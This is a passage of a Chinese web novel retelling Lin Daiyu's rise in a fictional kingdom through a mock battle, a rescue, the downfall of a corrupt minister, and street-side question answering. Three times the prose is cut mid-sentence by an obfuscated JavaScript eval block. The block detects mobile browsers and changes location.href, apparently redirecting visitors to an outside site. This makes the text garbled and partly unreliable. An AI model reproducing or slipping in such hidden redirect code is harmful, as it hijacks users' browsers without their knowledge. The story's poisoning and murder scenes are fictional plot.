“救命啊!章德……”武圆尖叫起来,又被东魁死死捂住了嘴。 没过一会儿武圆感到头晕脑胀,眼睛中像是生了两簇火,不断地往外顶,两只眼睛似乎想要挣破眼眶。 章德方见眼前的姑娘脑门暴突,目眦欲裂,形如鬼魅,不由阴恻恻地笑了起来,仿佛欣赏到绝色姿容的黛玉,也将这样露出狰狞丑恶的面目。 东魁松了一口气,对章德方道:“恭喜大将,找到了制胜的法宝!” 她用刀将丰人草切成稀碎的草蓉,那翠绿的颜色与野草相差无几,只要往红方的菜锅里一拌,就能神不知鬼不觉地将她们一网打尽。 章德方剥光了武圆的衣物,将她推下悬崖,拍了拍手道:“我们先在土地庙附近的山洞休息一晚,等她们大战过后,饥肠辘辘要埋锅造饭的时候,我们再伺机将丰人草投进去。”她听到四周有窸窣之声,四下张望了许久,见没有人才放下心来。 翌日清晨,东魁被一阵欢呼雀跃声惊醒,她走出山洞,只见一条蜿蜒向上的石子梯路,如银蛇一般盘亘在密林间,直通山顶的土地庙。 章德方披衣出洞,也不由诧愕万分,红方不急着占据土地庙,却用铸造战斗工事的黏土、拌料水车修了一条通山石子梯路! “大将,她们开始往土地庙移动了,我们动作要加快了。”东魁抓起一袋丰人草蓉,急忙向土地庙走去。 “不,队伍里还有我们的人!”章德方一把拽住东魁的手,指着那些蓝色半臂衫的身影,“为何他们都顶着竹筐,抱着簸箕和水壶?” 东魁站在悬崖边缘,极目远眺,眉峰不由皱起,“大将,他们不是我们的人,而是附近的村民穿了我们的半臂衫。” 章德方一脸疑惑,“莫非红方以此来混淆视听,让我们误以为还有不少蓝方士卒没有投诚?” 她在洞口踱来踱去,踌躇了片刻,“不管了,我们先去土地庙。” 谁知红方士卒根本没有生火做饭的必要,因为土地庙中粒米无存。 蓝方库原先存在此的粮草,也不翼而飞。只有泥胎塑像的土地公前,摆着三碟野果为供。 想不到年深岁久,又极其荒凉的土地庙,被红方士卒修葺一新,里面打扫得干干净净,就连往日破败狰狞的土地公像,都用黏土和茜草、蓼蓝、皂斗等染料植物修复出来了,露出了喜庆祥和的笑容。 那些穿着蓝色半臂的村民负篮担筐,将热气腾腾的米饭、豆腐鱼汤和新鲜蔬菜,分发到红色半臂的士卒手里。 “感谢你们送来的粟米、小麦、肉干、黍米、大豆和厚实的被服,阿嬷说这个冬天,我们可以平安度过了。” “还要谢谢你们连夜修好了通山路,加固了东西桥梁,从此我们进山砍柴、采药都不必爬树攀藤了。” “你们还在山腰设了义庄,收葬那些暴露于野的尸骨,咱们归仁山也名正言顺了一回,再不会被人叫鬼人山了。” “你们真是太厉害了,翻新了有百年历史的土地庙,怪不得云雀在晴空欢鸣了许久,咱们村的幸运和吉祥已经盼来了。” “村民们无以为报,只能做些简单的饭菜答谢你们,为你们补充体力。恭喜你们赢得了胜利,希望你们都能有好前程。” 老村长摇着手里的帽子,仰头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149889|127102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着焕然一新的土地庙,一边擦眼泪,一边感慨万千地说:“三十年了,我又重新见到土地神了。若非林姑娘帮我们修了路,我这把老骨头,是再也爬不上来的。”说着就向黛玉深鞠一躬。 黛玉忙将老村长扶起,笑着说:“土地公是守护一方水土的福德正神,土地能生五谷,是百姓的衣食父母,是以我们要酬谢祭祀土地。 若只是占领一个无人祭祀的残垣遗址,那我们的斗争任务就没有完成。所谓战斗,若不为保护家国百姓,增进黎庶福祉,那就毫无意义了。” 老村长听了这番话,频频点头,竖起大拇哥,赞叹不已,“林姑娘真是有大胸襟,大志量的人,只要你通过了朝廷百司的考核,我一定选你做国王。” “新竹高于旧竹枝,全凭老干为扶持。①多谢村长的提挈鼓励,思政一定全力以赴,不负所望。”黛玉当仁不让,郑重地向老人家拱手作揖。 其他村民也纷纷振臂欢呼:“林姑娘,我们也选你做国王!” 黛玉也向众位村民一一抱拳行礼,“感谢大家盛情厚爱备荷关照,思政铭戢五内。” 她将缴获的蓝方被服、多余粮草都分发给了归仁山的村民,又帮助他们修桥筑路、翻新神庙,掩骼埋胔。 实则是因利乘便,借着稳操胜券的契机,光明正大地通过对百姓施以利好,传达治国理想,达到赢得一方选票的阳谋。 躲在暗处偷窥的章德方,此时满脸都是认知破碎后的震惊。 林黛玉提前实现了压倒性的胜利,一没有松懈精神,二没有大肆欢庆,三没有固守土地庙,而是带领红方士卒为百姓谋福利,大大方方地收买人心,笼络乡民。 东魁咬了咬唇,提醒章德方道:“大将,还有一个时辰,战斗就结束了,不如我们趁村民在这里,向林思政投降。她为了面子,为了选票,一定会接受的。如此您还有翻盘的机会。留得青山在,不怕没柴烧!” 章德方双拳攥紧,咬牙切齿了一番,才转身低头走向热闹的人群,硬着头皮抛弃手中的匕首,扶膝跪地对林黛玉说:“林总旗,蓝方大将章德方投诚!” 黛玉眼角都不扫她一眼,淡淡地说:“章大将早干什么去了,这会子让我纳降,不符合规矩。” 章德方俯身磕头,见她拿乔,只得让渡利益,信誓旦旦地说:“只要林总旗收下我,至国王票选之期,我章德方的票一定投给你。” 黛玉见她前倨后恭,还不惜赔情贿赂,冷笑道:“我不稀罕你的一张票,若你能说服东魁与武圆二人一起投降,我便容情收下你们。” 她已经清点过人数,蓝方除了章德方、东魁、武圆三人,其他人都已经归附了红方,若是能纳降蓝方最后三人,就算“全歼敌人”了。 章德方与躲在身后的东魁对视了一眼,东魁之所以没一齐现身,是为了保持机动性。 万一红方对章德方起了折辱之意,她也好保护大将一起逃跑。 可是事情的走向,与她们预测的完全不同,黛玉要三个人一起投降,才肯留她们晋级的机会。 然而,吃了丰人草面目全非的武圆,已经被章德方扔下了悬崖。 若是找到武圆的尸体还能敷衍一二,若是武圆万幸没死,那么章德方将面临武圆的申讨和谴责。 一旦被村民知道章德方身为蓝方大将,还同室操戈,给手下士卒喂药试毒并蓄意杀人,章德方就别想在后续的竞争中获得百姓的支持。 东魁现身,拱手对林黛玉说:“林总旗,武圆在逃亡过程中,不幸坠崖身亡。我与章大将,就是蓝方唯二两个可以投降的人了。” 123.吾皇黛玉第一百二十三回 林思政登顶骄红榜,章德方嫉恨下黑手 黛玉闻言,眼眸一凛,“归仁山悬崖虽陡,但树木颇多,武圆未必没有生还的可能。” 她立即召集红方士卒,下达了全员下山搜救武圆的命令。 星月迟疑道:“总旗,距离战斗结束还不到半个时辰,这时候不守在土地庙等监考官评判,让全员下山,万一监考官误判红方战败,岂不是因小失大。” 黛玉看了章德方一眼,对众人说:“人命关天,不可轻忽。愿意守在土地庙等待监考官评判的人,可以留下。其他人不卸头盔,带上药品、载舆、绳索跟我走。” 苏合香才采药归来,忙道:“我是军医,我去!” “救人要紧,我也去!”栗花在头盔外系上了自己的红色巾帼,束紧腰带,走出队伍。 陆续又有一些人肩担载舆跟了上来,章德方脚步迟疑,还是东魁拦住了她,悄声说:“大将,你留在这里,我先去瞧瞧,万一……我会见机行事的。” 章德方暗暗点头,思量着自己还有没有翻盘的机会。 黛玉并没有跟随下山的村民,从修好的山路走。而是直接带人来到了东西两侧的悬崖上,把绳索连接起来,一头栓在大树上,一头垂到山脚下。 大家兵分两路,一路绳降向下,好在归仁山虽然地势险峻,但只是个小丘陵,范围有限,很快就有人扬声道:“东面溪边,躺着一个人。” 苏合香缓缓吐出一口气来,拽着绳索的手有些麻木了,但是伤患目标疑似出现,她不可以逃避。 耳畔是呼啸的西风,眼前是近乎笔直的峭壁,而手中紧握的绳索被汗濡湿了,似乎在往下滑。 比起向上攀爬的轻巧,她深惧下坠的感觉,苏合香双腿抖得厉害,每次起跳腾空的刹那,她都会心惊担颤。 黛玉见她身侧的苏合香,停在一块岩石嘴上许久未动了,便荡绳过去,替她背过药箱,问她:“你怎么了?可是身子不适?” 苏合香攥住黛玉的手,嘴唇微抖,哭道:“我不敢下去,我母亲和舅舅就是这样没了的。” “你若信我,就放开绳子,闭上眼,我背你下去。”黛玉将背对着她说。 就在苏合香闭上眼趴在她背上的时候,黛玉手里的绳索忽然断了,她愕然仰头,却见崖顶有黑影闪过。 黛玉不禁汗毛倒竖起来,若非她有心帮助苏合香,渡到岩石嘴上,只怕自己就半山坠崖了。 苏合香感觉黛玉半晌未动,又不敢睁眼,不由皱眉问:“出什么事了?” “没事,你抓紧我!”黛玉沉下心来,抓住苏合香的绳索,以最快地速度腾跳下降。 半刻钟后,大部分人都顺利下到了山麓。 溪边果真躺着一个女人,尚存一丝微弱的气息。 栗花皱眉道:“她不是武圆。怎么会有这么丑的女人,长得好像罗刹鬼一样。” 黛玉也被那女人狰狞的面貌吓了一跳,那是一张病态扭曲的脸庞,额突眼爆,面皮肿胀。 “她还活着,先救人罢。”黛玉吩咐人将她抬上载舆。 两个红方士卒皱着鼻子,将人搬上载舆,忽然她的胳膊滑落下来,露出了一个榆钱大小的胎记。 “她就是武圆!”栗花抢步上来,手扶载舆说:“这个胎记她脱下红半臂的时候,我还看过一眼!” 苏合香走过来,撩开她的眼皮和嘴巴瞧了瞧,又探了探脉象:“她误食了丰人草,才导致面貌大变。命还能救,脸救不了了。” “丰人草?”黛玉回想起方才被人弄断的绳索,忽然意识到,武圆坠崖很可能不是一桩意外。 “丰人草是一种让人面目全非的毒草,十分罕见。”苏合香一面帮武圆固定骨折的胳膊,一面对黛玉说:“总旗,时辰快到了,你们先上去,有我在这里照顾她就够了。” 黛玉心念电转,当机立断道:“不,有人要杀武圆,你们留在这里才是最危险的。” 她立刻将红方士卒分为两组,一组仍用绳索攀岩而上,另一组抬起武圆在山下红方营地接受治疗。 栗花道:“我护送她们去营地。” “等等,把你的巾帼借我用一用,我需要你的幸运色。”黛玉向栗花伸出手来。 “行吧,我只借你这一次哦!”栗花摘下巾帼,递给了黛玉。 “谢谢!”黛玉将巾帼罩在头盔外面,拽了绳索快速爬向崖顶,她要借此巾帼掩饰身份。 幸而西风暂歇,大家爬山比绕绳速降要稳当得多。 到达山顶后,距离战斗结束时间还有不到半刻钟。 东魁见到爬上来的人中,似乎少了几人,既没有武圆的身影,也没有黛玉的身影,还以为自己已经得手了。 谁知当监考官按簿点名的时候,藏身在红方士卒中的林思政喊了一声“到!” 东魁眼皮一颤,郁愤地抹了一把脸,章德方认命地闭上了眼。 监考官坐在案前提笔在手,说:“红方备述战斗简况。” 黛玉摘下红巾帼,挺身出列,朗声道:“昨日午时我方探见蓝方兵略部署,至黄昏红方抵达敌据桥头,与之酣战。初战,蓝方鼓噪,企图持久拒守,然我方先遣奋勇冲锋,侧翼从峭壁攻其不备,霹雳弹、烟花相继而至,蓝方惊骇,弃甲曳兵而走,我方逐北二十里。 自酉至戌,经若干阵,擒获蓝方尚武奉行、枪奉行、弓奉行、兵粮奉行。获粮草三百斤,马一百五十匹,铠甲一百三十八领,弓弩一百六十八张,箭两千支,火铳、匕首各一百六十支,衣装被服一百六十三套。蓝方所筑机枪工事一一摧毁。 至起更,我方已取得夺取土地庙的胜利。为扫靖烟尘,惠济民生,我方掩骼送恤,兴筑山道,加固桥梁,修葺旧庙,将蓝方被服、粮草悉数敬赠村民。盖此战捷,具言所历。” 监考官从未听到如此流利清晰的战报,不得不挥笔疾书,才写完一半,又忘了后面听到的内容,只能延期再请林思政呈文完善。 她匆忙放下笔,又回头看向两个穿着蓝半臂的女子,说:“蓝方备述战斗简况。” 章德方还沉浸在失去竞选资格的遗憾中,思维迟滞了半晌,才磕磕绊绊地开口:“蓝方不敌红方奸狡,痛失阵地……” 她实在不知武备耗损的数量,正欲说得战况惨烈,好搏一点同情,忽然想到了反咬黛玉一口的好方法。 她将心一横,表现出切齿悲愤的样子,沉声道:“我方士卒武圆,被红方追击胁迫,不肯臣敌,跳崖死节,尸骨无存。” “什么?死了人!”监考官霍然站起,虽说对战前,大家都有签订生死状,但出了这样的事故,她这个监考官还要亲自去遇难者家中报丧的。 她可不想触这个霉头,脸色大变,呵斥道:“林思政,这到底怎么回事!” 黛玉轻哼了一声,斜睨了章德方一眼,抱拳对监考官说:“方才思政所述战报,尚有缺漏,还请监考官容禀。” 监考官拍桌道:“这会子你还提什么战报!” 黛玉不以为意,继续说:“红方六个时辰前,已纳降蓝方大将章德方及副将东魁,俘虏并招降蓝方士卒,合计一百七十四名。也就是说这场战斗,章德方无权代表蓝方,备述战斗简况。” 监考官愕然,这不等于蓝方几乎全员屈膝求和了,皱眉问章德方:“她说的可是事实?” 此时的章德方脑中天人交战,她万万没想到,林黛玉此时又向自己伸出了救命稻草,这是要她反口重申武圆坠崖与红方无关吗? 可是通关的机会就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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除了唯一的蓝方士卒武圆不曾投降外,参与山林骑兵对战的二百二十四人,全都获得了文考资格。 只是这一回,有不少人主动退出了文考,其中也包括担任红方军医的苏合香。 她们的理由无外乎是见识过林思政的文韬武略,难免自愧弗如,还不如潇洒退出,回归到寻常生活中,继续过平淡安宁的日子。 像栗花、星月二人虽然没有选择退出,但是内心已被林思政所折服,悄悄修改了目标,放弃了国王竞选,转而想成为朝廷百司,辅佐未来的林帝,这也是提前押宝,赌一个扶龙之功了。 因数次考核成绩突出,林思政登顶茜香国武考骄红榜魁首,因其胸怀韬略,腹隐机谋,一时声名大噪。 乃至于赌场中,押注林思政的人数也飙涨起来。以至于在关千雪的鼓动下,茜香国大半武将都看好林思政。 章德方自然不甘心让林黛玉一人出尽风头,恰好今次文考的出题官,是她的前上峰大宗伯吴岩。 大宗伯吴岩也有意扶持从前的下属登顶王位,以赚拥立之惠。 她略施小计,便让林思政这个热门的外乡竞争者,文考抽中了传说中的死亡题卷——社稷百问。 其他人文考,只需在两个时辰内完成策论或骈赋。而黛玉在同等时间内,不但要完成一篇策论,还要回答一百道关于国计民生的百科问题。 涵盖普通学子完全不懂的稼穑、渔牧、货殖等偏门知识。而且完成答卷后的第二天,还要与群儒辩经对策。 社稷百问考查的不但是竞选者的学识与才能,还有为政的见解与气度。 历届女王竞选者,但凡破天荒抽到这样的题目,没有一人不铩羽而归的。 124.吾皇黛玉第一百二十四回 林黛玉暗挑文武斗,大宗伯遗恨乞骸骨 听说主持选题掣签的人是大宗伯,黛玉有理由怀疑是章德方暗中给她使了绊子。 虽然她并不认为社稷百问与她而言有何难度,但是此等行径无疑破坏了竞选的相对公平性,黛玉不愿就此委屈接纳。 想到少司寇尚凌风与章德方不睦,便将此事告知了她。 尚凌风闻言,果然气愤不已,捶桌道:“我就知道她心眼比筛子眼还多,在朝廷中枢,章德方就把中原人党同伐异、两面三刀那一套玩得风生水起。若非茜香国弱,需要她那样左右逢源,圆滑世故的人处理邦交外事,按我的意思,她根本不配为官。” 黛玉对此评价不置一词,空发牢骚毫无意义。她只是借尚凌风的嘴,在真如密面前,将此事叨登出来,或许还有几分转圜余地。 没过两日,尚凌风带着一腔义愤回来了,满心歉意地说:“对不起林姑娘,真宰相既不同意重新抽签,也不愿意惩罚徇私舞弊的大宗伯,我没能说服她。” 黛玉不免有些意外,莫非当初拒绝真如密的示好,让她对自己产生了“不识抬举”的轻狂印象? 若是权力的获得,要让渡自己的合理权益,她绝不就此忍气吞声。 没曾想黛玉才要出门,就意外地在客舍外,撞见了人马齐备的官署车驾。 大宗伯吴岩本不想来,只是真宰相发话了,竞选舞弊是大丑闻,万一被百姓知道就会动摇她们对朝廷的信心,要她将此事变法儿压息了,勒令她向林思政赔礼道歉,否则就要将她停薪革职,永不叙用。 吴岩少不得下点气儿,奉上厚礼,在客舍前向林思政作揖请罪,又不敢把话讲分明,只得含糊其辞地说:“前次吴某处事偏颇,得罪了林姑娘。还望林姑娘宽宏容谅。” 黛玉并不吃这一套,但也瞧出来了,真如密顾忌民心民意,想大事化了。她略一思忖,笑对吴岩说:“芥豆小事不足挂齿,林某并未放在心上,只是好友少司寇为我抱不平,不免多说了两句而已。” 吴岩一时讶然,原以为林思政多少有点恃才傲物,孤标自许,大抵会做张做智,不肯接受。 没曾想林思政就此退步,并无咄咄相逼之态,看来她还是有几分机灵的,知道强龙不压地头蛇。 吴岩骄矜起来,捋了捋官袍广袖,将九卿重臣的架势摆出来,拖着官腔道:“本官也不想故意刁难你,但凡言语温和,态度谦恭的下士来拜,本官没有不诱掖勉励的。” 黛玉见她拿腔作势,索性粲齿笑道:“大宗伯以长袖善舞称冠天下,茜香国百姓仰赖您纵横之才,才能安居乐业。末学今日得见您,可谓三生有幸。明夜于澄波皓月中略备筵席,欲承上卿之星耀,愿求斗升之禄米,即便此番无缘王位也无憾矣。” 这一番溢美之词,让吴岩颇觉悦耳,此话的无非表明了,林思政可以退而求其次,向她投诚,稳官位而舍王位。 “林姑娘乃稀世俊杰,本官定如约赴席。” 这样“有眼色识时务”的后生,教她如何不满意呢。 黛玉客气送走吴岩,又吩咐了晴雯几句话,交托她去办。 刚想休息补眠,又迎来了一个意想不到的客人——苏合香。 黛玉打量了她一番,只见她鹅蛋脸儿,秀美杏眼,蜂腰削肩,穿着半旧的芥子色绫袄,若竹色的背心,下面桑麻裙子,裙下半露的绣鞋上,还沾染了绿色的粉末与晨露,分明是青春丽人,却作了一副暮年老妪的打扮。 苏合香赧然一笑,不好意思地说:“林姑娘,恕我冒昧来访。自分别数日以来甚为想念,便来看看你,一则感谢你对我多加关照,二则还有个不情之请。” 黛玉心下存疑,将人请进客舍,奉上茶对她笑道:“苏姑娘有何烦难,但讲无妨。” “于林姑娘而言,的确是桩烦难事,可我也是走投无路了,才投奔到你这来。” 苏合香捧着茶,垂下眼眸,轻轻叹了口气说:“姑娘见我衣裙老旧必然也猜到了几分。茜香国从母系血统,一个家族中少则十数人,多则几百人,可是我母亲和舅舅都死了,只剩我一个孤鬼,靠砍柴采药为生。 我本想参加国王竞选,谋得一官半职,让日子好过些。但是在归仁山上,姑娘展现了超世之才,为众人所不及,又对我照顾有加,让我改变了主意。 我退出文考,希望姑娘能收我为家臣,我当尽心竭力辅佐姑娘登基为王。若姑娘嫌我力有未逮,便是为奴为婢,只要能跟在姑娘身边,我也甘心的。” 黛玉沉吟片刻,未置可否,一眼扫过她的裙摆,转过身一连三问:“之前绕绳速降时,你曾说过你的母亲和舅舅都死于坠崖,果真是意外么?你在客舍门口站了许久,应该有听到我与大宗伯的对话,为何笃定我一心就要为王呢?你并不是为我退出文考,恐怕是目睹武圆被章德方迫害,为隐藏真实动机,才选择退出的吧?” 听了这一连串的质疑,苏合香的嘴渐渐张开,她没想到林思政如此敏锐,这就瞧出了许多端倪,一时心乱如麻,不知该如何是好。 “若你不能对我百分百坦诚效忠,恕我不能接纳你,也不能为你提供报仇的便利。”黛玉冷声道。 苏合香愕然抬头,牙齿差点咬破了舌头:“姑娘怎么知道我要报仇?” “战场上你伪装成怯懦发抖的样子,却没有藏好想杀人的眼神。” 黛玉指着她的鞋面说,“见我抽到了最难的题卷,你从黎明起就徘徊在客舍门外,思索该如何借我之手除掉大宗伯和少宗伯,所以裙摆鞋面上还有晨露。 你知道是章德方害了武圆,却没有举告她,因为你内心不相信,有人能为你或者武圆伸张正义。 你鞋上的绿色的粉末,若我没猜错的话,是丰人草屑吧。当日在土地庙前集合,你就是最后一个到的,那时你的脚印上就有这东西。你想跟着我,只是想利用我对大宗伯徇私舞弊的怨意,借刀杀人罢了。” 苏合香闭上眼,两行清泪滑落眼角,她咬了咬唇,噗通往地下一跪,睁开一双狠厉的眼,“我的家人都是被吴岩和章德方逼死的……” 茜香国数百年来积贫积弱,若非真如密十年前当上宰相主理国政,提振了经济,茜香国还是四海列强,肆意鱼肉的对象。 当年把持邦交外务的大宗伯为了苟全富贵,屡屡卖国求荣,茜香国既无金银矿藏,又无沃土良田,能贡献出去的只有织染品与女人。 吴岩主动向真真国、暹罗国、波斯国、海西国进献贡女三十余次,合计贡女达一千余人。 苏家多出美人,苏合香的小姨、姐姐们全部被采征为贡女,成为他国王室贵族的玩物及殉葬品,没几年就全都死了。 苏合香只能和母亲、小舅相依为命,吴岩出身阀阅之族,又久居高位,行止狂奢,她对俊美男子有虎狼之好,时常强掳少年,淫佚无度。 三年前,章德方竞选国王失利,为了当上少宗伯投靠吴岩,引诱她骚扰苏合香的小舅舅。 “我小舅舅宁死不从吴岩,服食丰人草自毁容貌,以求放过。吴岩恼羞成怒,又将我母亲抓走,章德方送她到满剌加做象奴,为吴岩赚钱。 我母亲不堪其辱,蹈海赴死,我舅舅因此自责,不肯苟活,从归仁山崖跳了下去……”苏合香悲痛难抑,长泪盈面。 黛玉吐出一口浊气,耿耿悲愤,难以言表,她一拳砸在了桌上,对苏合香说:“我会扳倒吴岩和章德方,但不会收你做家臣乃至奴婢。” 她深知内心被仇恨蒙蔽的人,难以坦然走向光明。就如同曾经的禛钰,最初的靠近,一旦别有用心,终会应离别之谶。 翌日晚间,月华初上,海湾上停泊着一艘波斯画舫,舱室阔大精美,铺陈华丽,富有异域风情。 地下铺的是豪华绚丽的波斯地毯,檀木屏风上绘有鸟兽植物纹样,桌上摆着各色鎏金银盘,珐琅酒壶,配了釉下彩青花瓷的餐碟,琳琅满目的美食森列期间,香气四溢,诱人享用。 吴岩头戴乌纱帽,身穿大红罗织金仙鹤补圆领袍,腰围犀带,银盆脸上浓妆艳饰,端的是粉光脂艳。 她慵懒地歪在官帽椅上,手内拿着两个玉核桃在掌中徐徐转着,十分满意地点了点头:“小林姑娘品味不俗,布置得深合我意,到底是读书人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“林思政是百年难遇的惊世帅才,竟被你这种殃民奸臣,祸国匹妇辖制欺辱。你当老娘像你似的,只会造粪,这会子不打断你的腿,让你尝尝我的厉害,不足平老娘心头之怒。” 很快,靓妆艳饰的吴岩就被揍得如同癞狗一般,疼得在地上乱滚乱叫,说:“快别打了,我肋条都折了……” 众女将还在一旁助威叫好,骂声不断。 关千雪站在女将之中不由龇牙,悄悄与黛玉对视一眼,眼下揎拳撸袖大打出手的人,就是茜香国执掌军队的大司马程荣秀。 黛玉借游击将军关千雪之名,邀请了程荣秀及诸武将聚此宴饮,为的就是诱导吴岩说出鄙夷武将的言论,让大司马代为教训大宗伯。 真如密为了朝廷颜面,不愿主持公道,揭批掣签舞弊之事,那么就由她“私了”罢。 大宗伯典掌祭祀及邦交外务,代表着茜香国的对外形象。她可以身材矮小,也可以相貌平平,却不能以残疾之身出入祭祀及外事场合。 黛玉让晴雯躲在暗处,飞镖断其踝骨,就是趁水摸鱼,让她从此跛足,不得为官。 与此同时,黛玉也毫不留情地向真如密抛出一个难题,竞选舞弊你不管,那么文臣武将相争互殴,总该管管吧。 真如密想将茜香国这艘船,在顾全大局的情况下,一块块板慢慢替换下来。而黛玉想做的是直接把朽坏的旧船全拆了,将所有腐木一次拔除干净,再用新板重造。 翌日,面对传说中奇难无比的社稷百问,黛玉拿着鹅毛笔,阅题后振笔疾书,无有半点迟滞,半个时辰完成百问,一个时辰完成策论。 还剩半个时辰,其他人还在为策论骈赋斟字酌句的时候,黛玉已提前交卷出门了。 考院外的布告栏上,已经贴出了大宗伯吴岩不幸身残,辞官乞骸骨的消息。 黛玉冷笑了一声,没有回客舍休息,而是让晴雯在人头攒动的大街上,摆了张桌子,铺上红布,亮出金漆写的“林思政百问百答”几个字。 她拂裙坐下,将挂在脖子上的小贝壳翻到阳面,声扬半里。 “诸位乡亲,若有什么疑难问题,林思政知无不言,限题一百,欢迎大家列队来询。” 125.吾皇黛玉第一百二十五回 有问必答知无不言,针砭时弊舌战群儒 街上往来百姓,见大路中央坐着一位丰神飘洒,姿容绝美的姑娘,声明有问必答。 时人皆有好奇尚异之心,翘首观望了片刻,都纷纷簇拥上来。 关千雪本来带着十来个兵,等候黛玉考完,就接她去游击将军府吃饭的。 见她有意在街头答百姓问,虽不解其意,还是加派人马过来,在黛玉身旁巡察执纪,维护秩序。 晴雯就站在大案前侧,指引排队问询的人。 冲在最前头的是个双眼灵动的总角少年,他两手抓住桌沿,垫脚问:“我问你天有多高,太阳有多大?” 黛玉摇头一笑:“我便是告诉了你,你也无法验证我的答案。不如问你最关心又不知道该怎么办的事。” 少年想了想,说:“我在易安居酒楼干了三个月的跑堂,可东家欺我年少,赖我工钱,叫掌柜的将我赶了出来,我想拿回工钱该怎么办?” 黛玉招手让那少年附耳过来,说:“你去锁铺买一把大锁,明儿一早将易安居的大门从外面反锁了,让他们开不了张,他们没办法又理亏,若不想被食客路人议论,耽误生意,自然就会把工钱给你。你拿到钱后,再把锁打开,去锁铺把锁给退了。” 听了这话,少年豁然开朗,眼眸一亮,乐颠颠地走了。 第二个走上来的是位满面愁容的妇人,她抱着试试看的心态,问黛玉说:“我想我女儿许梦龙谋个官职,可她志不在此,我们为此经常吵架,没料到她三天前离家出走,无有音讯,我想知道她在哪里。” 黛玉问了妇人她女儿的生辰八字,偏头对晴雯说:“拿三个铜板给我。” 晴雯将铜板递了过去,黛玉卜出一个风地观卦,对妇人说:“比起为官做宰,许姑娘尤为衷情图经地志,此时秋高气爽,她正在外面游山玩水。用神化绝,逢长生日归,下月初三壬申日归。” 妇人听了答案,将信将疑地离开了。 接下来又有一个神采奕奕的青年姑娘来问:“有两个男人向我示爱,阿旺对我极好但品行不佳,阿牧对我不够热情但品行端正,我该选哪个男人,做自己的走婚对象?” 黛玉会心一笑:“一个人的品行,以及对另一个人的态度,都是可以伪装的。你本质是想判断哪个男人不会辜负你的付出,那你不妨回想一下,他们面对突如其来的困境时,是冷静自持,还是气急败坏。一般而言遇到难题时,懂得保持镇静,且以你的立场思考解决办法的人,比较适合成亲。” 那姑娘挑眉,迟疑了一会儿:“你的意思是我该选阿牧?” “不,”黛玉缓缓摇了摇头,“大多数人终其一生,也未必遇得到两情相悦的伴侣。爱不是选择,而是本能。事实上这两个男人你都不满意。” 她拿出两枚铜钱摆在了姑娘面前,食指、中指搭在铜钱上,互相转换位置,说:“若论婚姻如同走和棋,既要成为给予方,尝试在共事中利他;也要成为辖制方,学会在博弈中利己。” “你说得有道理。”青年姑娘若有所思地点点头,款款起身道谢走了。 后面一个垂头丧气的老妇女,走过来搵泪道:“我手里有几样家传的古董,被州牧看上要强买,我宁肯饿死也不想卖。州牧就诬陷我女儿欠了官银,将她关锁进大牢,要我拿古董换回女儿,我一介布衣,无法越级告官,该怎么办?” 黛玉抬头看了她一眼,见老妇人衣衫褴褛,头发花白,身形消瘦,很是贫窘,思忖了一会儿,说:“匹夫无罪,怀璧其罪。古董虽然价高,但它是无情物,不会认主,价高的无情物只要通买卖,不管最初主人是谁,无情物都会流向能使它价值最高的人手上。” 老妇人听黛玉这样讲,越发郁愤难言,死死攥着两只拳头说:“我就算饿死冻死,也不卖传家宝,若要,先拿我的命去!” 黛玉见她如此固执,若不将其劝服,只怕有家破人亡之危,于是耐心谏言:“德不配位必有灾殃,人不配财也必有所失。以你而今之力,饔飧不继,根本无法保护好那些古董,反而会累及家人。万里长城今犹在,谁见当年秦始皇?江山尚且数易其主,更何况古董乎。” “可是,可是……”老妇人还想说些什么,又无言以对,只能嚎啕大哭。 黛玉说完残酷的事实,继续给她出主意:“州牧仗势欺人,为一己之私对你威逼利诱,如果你不想让州牧拥有你的传家宝,那就把它大张旗鼓地献给真宰相,甚至上交国库。以换取你们母女今后安泰的日子和你女儿将来的好前程,待你女儿出人头地,再请求贵人将古董赐还给你。” 老妇人大哭了一场,终究是点了点头,淌眼抹泪地走了。 除了无法验证和毫无意义的问题,但凡关乎民生之事,黛玉都知无不尽,甚至都不必抬头看人,听见问题就直接答了。 问:“我刚接手了母亲的纺织工场,可是手底下几个老织工倚老卖老,仗势要挟,又不服我管,该怎么办?” 答:“二桃杀三士。” 问:“我是来茜香国做丝绸贸易的商人,经常遇到倭寇劫船,损失惨重,又雇不到很多船一起出海,该怎么通过倭寇出没的海域?” 答:“办法有三,其一尾随外务大船航行;其二夜间每到倭寇出没海域,着一人在船头鸣火铳,呼喝呐喊,其余人则在铁桶中放鞭炮,营造声势,震吓倭寇;其三,若风向有利时,可放小舟燃芦纵火,倭寇为避火险必然在海上打圈,等他们船调度不及,晕头转向之际,趁机摆脱他们。” 在其他人陆续交文考卷时,黛玉已经完成了街头百问百答,她站起身来,正与关千雪交谈着。 忽然听到一个人问:“阿弥陀佛,贫僧有一故人杳然不见,寻访至此,见施主高义为人解难,特来问询故人下落。” 晴雯心疼黛玉嗓子有些微哑了,低头将桌布叠起,冷然道:“和尚,你来得不巧了,已经都问完了。” “你先随关将军去,我随后就来。”黛玉听她语气不善,忙将她衣袖一牵,打发她们离开。 回头笑问:“故人是谁?” 那和尚道:“姑苏林黛玉。” 